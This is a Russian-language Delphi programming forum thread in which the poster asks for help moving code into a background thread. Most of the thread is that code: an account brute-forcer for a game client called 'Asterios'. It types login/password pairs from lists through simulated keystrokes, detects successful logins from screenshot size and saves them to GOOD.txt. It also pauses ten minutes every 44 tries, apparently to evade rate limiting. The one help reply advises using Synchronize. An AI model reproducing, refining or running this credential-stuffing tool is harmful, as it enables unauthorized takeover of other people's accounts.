![]() |
|
|
#1
|
|||
|
|||
![]() Многоуважаемые форумчане, ни кто не мог бы засунуть мой код в поток, что бы он нормально работал там ? сам с потоками вообще = 0 читал и не понимаю, пытался сам засунуть, результат нулевой
Код:
procedure TForm1.Button1Click(Sender: TObject); begin Stop:= false; //stop:=false; //Button1.Caption:='Продолжить брут'; //Button1.Visible:=False; //Button5.Visible:=True; //Stop:=True; if Stop = False then begin Button5.Visible:=True; button1.Visible:=False; Button1.Caption:='Продолжить брут'; ////////////////////////////////////////////////////// if start_pos <> 0 then begin try //Button1.Enabled:=False; //Button2.Enabled:=False; GetKeyboardLayoutName(Layout); if Layout <> '00000409' then begin LoadKeyboardLayout('00000409', klf_activate); ActivateKeyboardLayout(LoadKeyboardLayout('00000409', 0), 0); Sleep(100); end; lost:=0+start_pos; if not FileExists(ExtractFileDir(ParamStr(0))+'\GOOD.txt') then begin AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt'); Rewrite(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt'); CloseFile(acc); end; cnt:=0; pause:=0; Form1.Left := 630; Form1.Top := 40; SetWindowPos(FindWindow(nil, 'Asterios '), HWND_TOP, 0, 0, 600, 600, SWP_SHOWWINDOW); sleep(1500); for x:=start_pos to ListBox1.Items.Count - 1 do begin login:=ListBox1.Items.Strings[x]; password:=ListBox2.Items.Strings[x]; Label1.Caption:='Текущий логин - '+login; Label2.Caption:='Текущий пароль - '+password; //Ставим курсор на поле ввода Логина GetCursorPos(pt); SetCursorPos(320,317); //Поле ввода логина GetCursorPos(pt); //Клик наполе логина Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; //Ввод логина в поле ввода for i := 1 to length(login) do begin Sleep(200); if login[i] in ['A'..'Z'] then begin keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0); keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0); keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0); end else begin keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0); keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0); end; end; //Устанавливаем курсор на поле вода пароля GetCursorPos(pt); SetCursorPos(320,343); GetCursorPos(pt); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; for i := 1 to length(password) do begin Sleep(200); if password[i] in ['A'..'Z'] then begin keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0); keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0); keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0); end else begin keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0); keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0); end; end; //Делаем клик по кнопке входа GetCursorPos(pt); SetCursorPos(250,370); GetCursorPos(pt); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; Sleep(2000); //Тут надо надо делать скриншот! BM := TBitmap.Create; jpg := TJpegImage.Create; jpg.CompressionQuality := 50; pname := login+' - '+password+'.jpg'; if FileExists(ExtractFileDir(ParamStr(0))+'\'+pname) then DeleteFile(ExtractFileDir(ParamStr(0))+'\Screenshots\'+pname); try ScreenShotActiveWindow(BM); Sleep(100); jpg.Assign(BM); jpg.SaveToFile(ExtractFileDir(ParamStr(0))+'\'+pname); Application.ProcessMessages; finally BM.Free; jpg.free; end; //Проверим размер файла скриншота! SizeOfApp := GetFileSize(ExtractFileDir(ParamStr(0))+'\'+pname); check:=SizeOfApp div 1024; if check > 50 then begin cnt:=cnt+1; Label3.Caption:='Успешных аккуантов - '+IntToStr(cnt); AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt'); Append(acc); WriteLn(acc,login+':'+password); CloseFile(acc); end; //Ставим курсор на кнопку отказа Sleep(100); GetCursorPos(pt); SetCursorPos(340,520); GetCursorPos(pt); SetCursorPos(340,520); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; Sleep(100); DeleteFile(ExtractFileDir(ParamStr(0))+'\'+pname); inc(lost); Label5.Caption:='Осталось аккуантов - '+IntToStr((ListBox1.Items.Count-1) - Lost); Sleep (StrToInt(Edit1.TExt)); if lost = 44 then begin pause:=pause+44; Label1.Caption:='Текущий логин - [Пауза 10 минут]'; Label2.Caption:='Текущий пароль - [Пауза 10 минут]'; Application.ProcessMessages; Sleep(600000); pause:=pause+44; end; if pause = pause+44 then begin Label1.Caption:='Текущий логин - [Пауза 10 минут]'; Label2.Caption:='Текущий пароль - [Пауза 10 минут]'; Application.ProcessMessages; Sleep(600000); end; if lost = ListBox1.Items.Count-1 then begin Label1.Caption:='Текущий логин - [Завершено]'; Label2.Caption:='Текущий пароль - [Завершено]'; end; if CheckBox1.Checked = True then begin MyExitWindows(EWX_POWEROFF or EWX_FORCE); end; end; except end; end else try //////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////// Button1.Enabled:=False; Button2.Enabled:=False; GetKeyboardLayoutName(Layout); if Layout <> '00000409' then begin LoadKeyboardLayout('00000409', klf_activate); ActivateKeyboardLayout(LoadKeyboardLayout('00000409', 0), 0); Sleep(100); end; if not FileExists(ExtractFileDir(ParamStr(0))+'\GOOD.txt') then begin AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt'); Rewrite(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt'); CloseFile(acc); end; cnt:=0; pause:=0; Form1.Left := 630; Form1.Top := 40; SetWindowPos(FindWindow(nil, 'Asterios '), HWND_TOP, 0, 0, 600, 600, SWP_SHOWWINDOW); sleep(1500); for x:=0 to ListBox1.Items.Count - 1 do begin login:=ListBox1.Items.Strings[x]; password:=ListBox2.Items.Strings[x]; Label1.Caption:='Текущий логин - '+login; Label2.Caption:='Текущий пароль - '+password; //Ставим курсор на поле ввода Логина GetCursorPos(pt); SetCursorPos(320,317); //Поле ввода логина GetCursorPos(pt); //Клик наполе логина Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; //Ввод логина в поле ввода for i := 1 to length(login) do begin Sleep(200); if login[i] in ['A'..'Z'] then begin keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0); keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0); keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0); end else begin keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0); keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0); end; end; //Устанавливаем курсор на поле вода пароля |
#2
|
|||
|
|||
![]() Код:
GetCursorPos(pt); SetCursorPos(320,343); GetCursorPos(pt); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; for i := 1 to length(password) do begin Sleep(200); if password[i] in ['A'..'Z'] then begin keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0); keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0); keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0); end else begin keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0); keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0); end; end; //Делаем клик по кнопке входа GetCursorPos(pt); SetCursorPos(250,370); GetCursorPos(pt); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; Sleep(2000); //Тут надо надо делать скриншот! BM := TBitmap.Create; jpg := TJpegImage.Create; jpg.CompressionQuality := 50; pname := login+' - '+password+'.jpg'; if FileExists(ExtractFileDir(ParamStr(0))+'\'+pname) then DeleteFile(ExtractFileDir(ParamStr(0))+'\Screenshots\'+pname); try ScreenShotActiveWindow(BM); Sleep(100); jpg.Assign(BM); jpg.SaveToFile(ExtractFileDir(ParamStr(0))+'\'+pname); Application.ProcessMessages; finally BM.Free; jpg.free; end; //Проверим размер файла скриншота! SizeOfApp := GetFileSize(ExtractFileDir(ParamStr(0))+'\'+pname); check:=SizeOfApp div 1024; if check > 50 then begin cnt:=cnt+1; Label3.Caption:='Успешных аккуантов - '+IntToStr(cnt); AssignFile(acc,ExtractFileDir(ParamStr(0))+'\GOOD.txt'); Append(acc); WriteLn(acc,login+':'+password); CloseFile(acc); end; //Ставим курсор на кнопку отказа Sleep(100); GetCursorPos(pt); SetCursorPos(340,520); GetCursorPos(pt); SetCursorPos(340,520); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0); Sleep(40); Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0); Application.ProcessMessages; Sleep(100); DeleteFile(ExtractFileDir(ParamStr(0))+'\'+pname); inc(lost); Label5.Caption:='Осталось аккуантов - '+IntToStr((ListBox1.Items.Count-1) - Lost); Sleep (StrToInt(Edit1.TExt)); if lost = 44 then begin pause:=pause+44; Label1.Caption:='Текущий логин - [Пауза 10 минут]'; Label2.Caption:='Текущий пароль - [Пауза 10 минут]'; Application.ProcessMessages; Sleep(600000); pause:=pause+44; end; if pause = pause+44 then begin Label1.Caption:='Текущий логин - [Пауза 10 минут]'; Label2.Caption:='Текущий пароль - [Пауза 10 минут]'; Application.ProcessMessages; Sleep(600000); end; if lost = ListBox1.Items.Count-1 then begin Label1.Caption:='Текущий логин - [Завершено]'; Label2.Caption:='Текущий пароль - [Завершено]'; end; if CheckBox1.Checked = True then begin MyExitWindows(EWX_POWEROFF or EWX_FORCE); end; end; except end; if Stop = True then begin Exit; end; end; end; |
#3
|
||||
|
||||
![]() Цитата:
Цитата:
|
#4
|
||||
|
||||
![]() делай синхронайз.
— Как тебя понимать? — Понимать меня не обязательно. Обязательно меня любить и кормить вовремя. На Delphi, увы, больше не программирую. Рекомендуемая литература по программированию |